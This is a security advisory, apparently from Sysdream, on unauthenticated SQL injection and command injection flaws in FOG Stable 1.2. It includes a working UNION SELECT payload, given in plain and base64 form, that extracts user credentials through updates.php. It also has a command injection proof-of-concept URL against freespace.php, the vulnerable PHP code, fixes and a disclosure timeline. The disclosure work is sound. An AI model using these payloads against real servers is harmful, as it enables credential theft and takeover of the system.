Description

FOG is a free, open source, computer cloning and management solution.

SQL Injection

The database functions located in the FOGManagerController.class.php file do not sanitize some parameters, which can input from unauthenticated users. Thus, an attacker without any privilege could execute arbitrary SQL commands and retrieve sensitive information from the database.

Access Vector: remote

Security Risk: high

Vulnerability: CWE-89

CVSS Base Score: 9.3 (Critical)

Proof of Concept

Payload:

' UNION ALL SELECT NULL,NULL,(SELECT GROUP_CONCAT(CONCAT_WS(':', uName, uPass)) FROM users),NULL,NULL-- -

Base64 Encoded :

https://fogserver/fog/service/updates.php?action=ask&file=JyBVTklPTiBBTEwgU0VMRUNUIE5VTEwsTlVMTCwoU0VMRUNUIEdST1VQX0NPTkNBVChDT05DQVRfV1MoJzonLCB1TmFtZSwgdVBhc3MpKSBGUk9NIHVzZXJzKSxOVUxMLE5VTEwtLSA=

Vulnerable code

The vulnerable code is located in packages/web/lib/fog/FOGManagerController.class.php, line 96, function find():

if (is_array($value))
      $whereArray[] = sprintf("`%s` IN ('%s')", $this->DB->sanitize($this->key($field)), implode("', '", $value));
else
      $whereArray[] = sprintf("`%s` %s '%s'", $this->DB->sanitize($this->key($field)), (preg_match('#%#', $value) ? 'LIKE' : '='), $value);

Note: sanitize() is applied on the database table field (not on the user-controlled value) and it does not filter back-quotes. As a consequence, this function is useless.

Line 143, function count():

if (is_array($value))
        $whereArray[] = sprintf("`%s` IN ('%s')", $this->DB->sanitize($this->key($field)), implode("', '", $value));
else
        $whereArray[] = sprintf("`%s` %s '%s'", $this->DB->sanitize($this->key($field)), (preg_match('#%#', $value) ? 'LIKE' : '='), $value);

The vulnerable functions can be called in multiple files, without any authentication.

File: packages/web/service/updates.php, line 14:

foreach($FOGCore->getClass('ClientUpdaterManager')->find(array('name' => base64_decode($_REQUEST['file']))) AS $ClientUpdate)

File packages/web/service/servicemodule-active.php, line 14:

$moduleID = current($FOGCore->getClass('ModuleManager')->find(array('shortName' => $_REQUEST['moduleid'])));

Solution

Sanitize every user-supplied input when passing it to SQL Queries.

Unauthenticated Remote Command Execution

The freespace.php file does not correctly sanitize user-supplied idnew parameters. An unauthenticated attacker may use this file to execute system commands.

Access Vector: remote

Security Risk: high

Vulnerability: CWE-88

CVSS Base Score: 10 (Critical)

Proof of Concept

https://fogserver/status/freespace.php?idnew[path]=$(sleep%205)&idnew[id]=555&idnew[name]=SD&idnew[ip]=1234

Vulnerable code

The vulnerable code is located in packages/web/status/freespace.php, line 34:

$StorageNode = ($_REQUEST['idnew'] ? new StorageNode($_REQUEST['idnew']) : null);
[...snip...]
$t = shell_exec("df ".$StorageNode->get('path')."| grep -vE \"^Filesystem|shm\"");

Solution

Sanitize and verify every user-supplied input when passing it to shell_exec. Also, make sure only authenticated users can access this file.

Affected versions

  • FOG Stable <= 1.2

Solution

Switch to beta/development builds.

Timeline (dd/mm/yyyy)

  • 05/04/2016 : Initial discovery
  • 06/07/2016 : Contact with vendor team with vulnerability description
  • 18/07/2016 : Remind vendor to get a reply
  • 19/07/2016 : Vendor acknowledges the report, saying that issues had been fixed a while ago in beta/development builds and that using 1.2.0 stable version is now discouraged.

Credits

  • Nicolas CHATELAIN, Sysdream (n.chatelain -at- sysdream -dot- com)
  • Gyver FERRAND, Sysdream (g.ferrand -at- sysdream -dot- com)